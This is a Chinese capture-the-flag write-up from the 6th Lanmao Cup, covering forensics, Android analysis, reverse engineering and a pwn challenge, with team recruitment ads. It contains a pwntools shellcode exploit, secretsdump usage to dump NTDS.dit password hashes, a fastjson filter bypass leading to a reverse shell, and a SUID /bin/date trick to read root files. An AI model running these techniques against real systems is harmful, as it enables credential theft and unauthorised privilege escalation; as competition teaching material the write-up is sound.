第六届蓝帽杯WP(总榜第4名)
本文来自“白帽子社区知识星球”
作者:WHT战队

WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
Misc
Misc1 domainhacker2
导出http对象,发现1.rar要密码,一个一个包分析,在第50条流量中找到密码,

看form item中的php代码,"q8fb9d4c082c11"的值从第二位开始进行base64解码,

得到密码为SecretsPassw0rds

解压压缩包,得到flag
Flag:flag{ 416f89c3a5deb1d398a1a1fce93862a7}
Misc2 domainhacker
同第一题一样,先找压缩包密码
Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg%3D%3D
base64解密,得到压缩包密码

解密ntds.rar压缩包
secretdump.py破解Ntds.dit密码
脚本下载地址:
https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py安装依赖:pip3 install impacket
运行:
python secretdump.py -security SECURITY -system SYSTEM -ntds ntds.dit -user-status -pwd-last-set -history local > 1.txt
Flag值
flag{07ab403ab740c1540c378b0f5aaa4087}
PWN2 EscapeShellcode
拿到题目后

程序有五个函数
Init_io 初始化输入输出流

给了一块可执行空间

在这块空间中写了一些deadbeef的东西,后面调试发现是将寄存器全部赋值为deadbeef

Init_flag将flag读到内存中

Sandbox开了沙盒


只能用read、write
Go就是读shellcode然后执行

Flag已经读取到内存中了,但是地址不清楚,所以可以先找到可读的那一页,然后加上flag的偏移,然后write出来
唯一能用的只有rip寄存器的值,所以通过rip寄存器去找可读的页,判断返回值eax的值来确定是否write成功
mov edi, 1lea rsi, [rip-0x400000]and rsi, 0xfffffffff0000000mov edx, 0x50A1:add rsi, 0x1000mov eax, 1syscalltest eax, eaxjng A1
然后加上flag的偏移
from pwn import *# sh = process("./escape_shellcode")ip = '39.106.154.121'port = 15595sh = remote(ip, port)= 'debug'= 'linux'= 'amd64'sc = '''mov edi, 1lea rsi, [rip-0x400000]and rsi, 0xfffffffff0000000mov edx, 0x50A1:add rsi, 0x1000mov eax, 1syscalltest eax, eaxjng A1add rsi, 0x4120mov rdx, 0x300mov edi, 1mov eax, 1syscall'''print(sc)pay = asm(sc)# gdb.attach(sh, 'b *$rebase(0x1367)')# pause()sh.sendline(pay)# sleep(3)sh.interactive()
flag值:
flag{d299f035-1af2-4815-9c5b-bebf71ed0cd0}
手机取证1
根据题目描述,搜索627604C2-C586-48C1-AA16-FF33C3022159,导出数据文件

右键熟悉,查看分辨率即可

Flag:360x360
手机取证2
搜索关键词“单号”即可

Flag:SF1142358694796
计算机取证1
利用volitility分析出密文,在somd5解密得到密码
,


Flag:anxinqi
计算机取证2
Volitility pslist列出进程可以找到magnet-ram-capture程序

Flag:2192
计算机取证3
打开检材,需要BitLocker解密,用取证小程序得到密钥

在重新载入检材,找到渗透看取证PPT和pass.txt

使用passwarekit爆破,得到密码密码为287fuweiuhfiute,打开ppt得到flag

计算机取证4
在做上一题的时候,看到一个意思TrueCrypt的加密文件,导出看

同的可以直接使用passwarekit解密,得到一个新建文本文件-unprotected.txt


然后继续使用取证大师到处,证据分析
得到一个哈哈哈.zip文件,导出
使用ARCHPR 6位数字爆破

得到密码:991314,解压得到flag

flag{1349934913913991394cacacacacacc}
程序分析1
利用appt工具分析得到包名

Flag:exec.azj.kny.d.c
程序分析2
用aapt工具进行分析得到入口类

Flag:minmtta.hemjcbm.ahibyws.MainActivity
程序分析3

Base64解码可以得到一个网址,https://ansjk.ecxeio.xyz
程序分析4
在MainActivity下发现super方法,

跟进,有几个类,在a类中有环境检测的代码


Flag:a
网站取证1
存在后门,用D盾扫

Flag:lanmaobei666
网站取证2
sublime搜索database关键字

查看文件发现password值为一函数返回值,在线php运行得到flag

Flag:KBLT123
网站取证3
金额被加密了,搜索关键字encrypt,找到Channelorder文件,发现是对money加密的,

Flag:jyzg123456
网站取证4
找到王子豪和张宝的ID

收付款是按ID分的

但后面转账的金额在channelorder.php中被加密了,

写解密脚本:
$data="nJ1xlG5v";$str1=base64_decode($data);$len=strlen($str1);$s='';$key = md5('jyzg123456');$char = '';$x=0;$l = strlen($key);for ($i = 0; $i < 32; $i++){if ($x == $l){$x = 0; }$char .= $key{$x};$x++;}for ($i = 0; $i < $len; $i++){$s.=chr(ord($str{$i}) - (ord($char{$i})));echo(ord($str{$i}));echo " ";echo(ord($char{$i}));echo "";}print($s);
在计算税额

根据时间累加金额得到flag
Flag:15758353.7
Ez_gadget
1.下载附件反编译:得到路由
2.绕过hashcode:直接写脚本碰撞得到另一个字符串的值,将其加密。
def test(str1):h = 0for i in range(len(str1)):h = 31*h+ord(str1[i])value = hresult = ""for i in str1[::-1]:for j in range(31,128):if (value-j)%31 ==0:result+=chr(j)value = (value-j)//31breakif value < 128:result+=chr(j)breakreturn result[::-1]print(test(input("key:")))
3.接下来就是绕过fastjson的waf了,通过Unicode编码绕过,然后反弹shell

4.提示说flag.txt在root下,反弹回来的是ctf用户,显然需要提权。查找定时任务,没有发现可以利用的,查找suid文件:
find / -perm -u=s -type f 2>/dev/null5.发现存在date命令可以用来读取文件,得到flag。
/bin/date -f /root/flag.txtLoader
题目提示是载入程序,先查壳:

无壳64位程序,放ida64分析:

主函数很简单独立了一个新的虚拟内存,权限可读可写可执行,作为后面新程序的一个引导,根据后面给的内存地址,将被引导的程序dump下来,运行后发现啥也没有

Exeinfo发现nt头有问题

用010editor打开可以看到pe的文件头和可选头都是i386,主程序是64位,修改文件头和可选头的值

就可以正常运行了

放入ida继续分析,尝试查找字符串定位关键代码,但是交叉引用看不了,于是动调定位到代码:

函数做的一个大数运算,直接建立方程解flag
int sub_852850(){FILE *v0; // rax__int64 v1; // rax__int64 v2; // rdx_QWORD *v3; // rsi__int64 v4; // rdi__int64 v5; // rbx_QWORD *v6; // rax_QWORD *v7; // rdi__int64 v8; // rdx_QWORD *v9; // raxunsigned __int64 *v11; // rsi__int64 v12; // rbx__int64 v13; // rcx_QWORD *v14; // rbp__int64 v15; // rdxunsigned __int64 v16; // rdi__int64 v17; // rbxunsigned __int64 *v18; // rbp__int64 v19; // rdx_QWORD *v20; // rax__int64 v21; // rcx_QWORD *v22; // rdi__int64 v23; // rdxunsigned __int64 v24; // rsi__int64 v25; // rdi__int64 v26; // rdxunsigned __int64 v27; // rcx__m128i v28; // xmm4__int64 v29; // rdi__int64 v30; // rdxunsigned __int64 v31; // rcx__m128i v32; // [rsp+20h] [rbp-78h] BYREF__m128i v33; // [rsp+30h] [rbp-68h] BYREF__int64 v34; // [rsp+40h] [rbp-58h] BYREF__int64 v35; // [rsp+48h] [rbp-50h]__m128i v36; // [rsp+50h] [rbp-48h] BYREF__int64 v37; // [rsp+60h] [rbp-38h] BYREF__int64 v38; // [rsp+68h] [rbp-30h]nimRegisterGlobalMarker(sub_8527A0);nimRegisterGlobalMarker(sub_852790);nimRegisterGlobalMarker(sub_852780);nimRegisterGlobalMarker(sub_852770);nimRegisterGlobalMarker(sub_852760);nimRegisterGlobalMarker(sub_852750);nimRegisterGlobalMarker(sub_852740);nimRegisterGlobalMarker(sub_852730);nimRegisterGlobalMarker(sub_852720);printf_0(off_856DC8, 1i64); // 输出提示“plz input your flag(format: flag{decimal number})”v0 = (FILE *)off_8550C0(0i64);v1 = scanf(v0);v3 = (_QWORD *)v1;if ( v1 )*(_QWORD *)(v1 - 16) += 8i64;if ( qword_86C1C0 ){v4 = *(_QWORD *)(qword_86C1C0 - 16);v2 = qword_86C1C0 - 16;*(_QWORD *)(qword_86C1C0 - 16) = v4 - 8;if ( (unsigned __int64)(v4 - 8) <= 7 )sub_846540(&qword_861F80 + 3, v2);}qword_86C1C0 = (__int64)v3;v5 = 0i64;v6 = (_QWORD *)sub_848FC0(5i64, v2);v7 = v6;if ( !v6 ){if ( v3 )sub_84C420(0i64, -1i64);sub_84C420(0i64, -1i64);}if ( !v3 ){if ( !*v6 )sub_84C420(0i64, -1i64);sub_84C420(0i64, -1i64);}do{if ( *v6 <= (unsigned __int64)v5 )sub_84C420(v5, *v6 - 1i64);v8 = *v3;if ( *v3 <= (unsigned __int64)v5 )sub_84C420(v5, v8 - 1);*((_BYTE *)v6 + v5 + 16) = *((_BYTE *)v3 + v5 + 16);++v5;}while ( v5 <= 4 );if ( *v6 != 5i64 )goto LABEL_15;v9 = v6 + 2;if ( *((_DWORD *)v7 + 4) != 'galf' )goto LABEL_15;if ( *((_BYTE *)v9 + 4) != '{' )goto LABEL_15;v11 = (unsigned __int64 *)qword_86C1C0;if ( !qword_86C1C0 || *(_QWORD *)qword_86C1C0 != 42i64 || *(_BYTE *)(qword_86C1C0 + 57) != '}' )// 判断flag长度是否为42goto LABEL_15;v12 = 0i64;v14 = (_QWORD *)sub_848FC0(18i64, v8);if ( !v14 )sub_84C420(0i64, -1i64);do{v15 = *v14;if ( *v14 <= (unsigned __int64)v12 )sub_84C420(v12, v15 - 1);v16 = v12 + 5;if ( v12 + 5 < 0 || v16 < v12 )sub_847F70(v13, v15);if ( *v11 <= v16 )sub_84C420(v12 + 5, *v11 - 1);*((_BYTE *)v14 + v12++ + 16) = *((_BYTE *)v11 + v16 + 16);}while ( v12 <= 17 ); // 以18位进行拆分v17 = 0i64;sub_851340(v14, 10i64, &xmmword_86C170);v18 = (unsigned __int64 *)qword_86C1C0;v20 = (_QWORD *)sub_848FC0(18i64, v19);v22 = v20;if ( !v20 ){if ( v18 )sub_84C420(0i64, -1i64);sub_84C420(0i64, -1i64);}if ( !v18 ){if ( !*v20 )sub_84C420(0i64, -1i64);sub_84C420(23i64, -1i64);}do{v23 = *v22;if ( *v22 <= (unsigned __int64)v17 )sub_84C420(v17, v23 - 1);v24 = v17 + 23;if ( v17 + 23 < 0 || v24 < v17 )sub_847F70(v21, v23);if ( *v18 <= v24 )sub_84C420(v17 + 23, *v18 - 1);*((_BYTE *)v22 + v17++ + 16) = *((_BYTE *)v18 + v24 + 16);}while ( v17 <= 17 );sub_851340(v22, 10i64, &xmmword_86C130);sub_851340(&unk_856D80, 10i64, &xmmword_86C150);sub_851340(&unk_856D40, 10i64, &xmmword_86C160);v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C150);v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);// 值对比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15;v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C160);// 值对比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15;v34 = 0i64;v35 = 0i64;v33 = (__m128i)xmmword_86C170;v32 = (__m128i)xmmword_86C170;sub_851270(&v33, &v32, &v34);v25 = v34;if ( v34 )*(_QWORD *)(v34 - 16) += 8i64;if ( (_QWORD)xmmword_86C190 ){v26 = xmmword_86C190 - 16;v27 = *(_QWORD *)(xmmword_86C190 - 16) - 8i64;*(_QWORD *)(xmmword_86C190 - 16) = v27;if ( v27 <= 7 )sub_846540(&qword_861F80 + 3, v26);}*(_QWORD *)&xmmword_86C190 = v25;v36 = 0ui64;BYTE8(xmmword_86C190) = v35;v33 = (__m128i)xmmword_86C130;v32 = (__m128i)xmmword_86C130;sub_851270(&v33, &v32, &v36);v28 = _mm_load_si128(&v36);v37 = 0i64;v38 = 0i64;v33 = v28;sub_852260(&v33, 11i64, &v37);v29 = v37;if ( v37 )*(_QWORD *)(v37 - 16) += 8i64;if ( (_QWORD)xmmword_86C120 ){v30 = xmmword_86C120 - 16;v31 = *(_QWORD *)(xmmword_86C120 - 16) - 8i64;*(_QWORD *)(xmmword_86C120 - 16) = v31;if ( v31 <= 7 )sub_846540(&qword_861F80 + 3, v30);}*(_QWORD *)&xmmword_86C120 = v29;v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C190);BYTE8(xmmword_86C120) = v38;v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C120);sub_8523C0(&v33, &v32, &xmmword_86C1A0);sub_851340(&unk_856D10, 10i64, &xmmword_86C180);v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C1A0);v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C180);if ( (unsigned __int8)sub_852500(&v33, &v32) ){qword_85A660 = 1i64;}else{LABEL_15:if ( qword_85A660 != 1 )return printf_0(off_856CC0, 1i64);}return printf_0(off_856CE8, 1i64);}
就是一个佩尔公式这里直接解方程

获得flag:flag{118936021352508390035860559716724409}如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
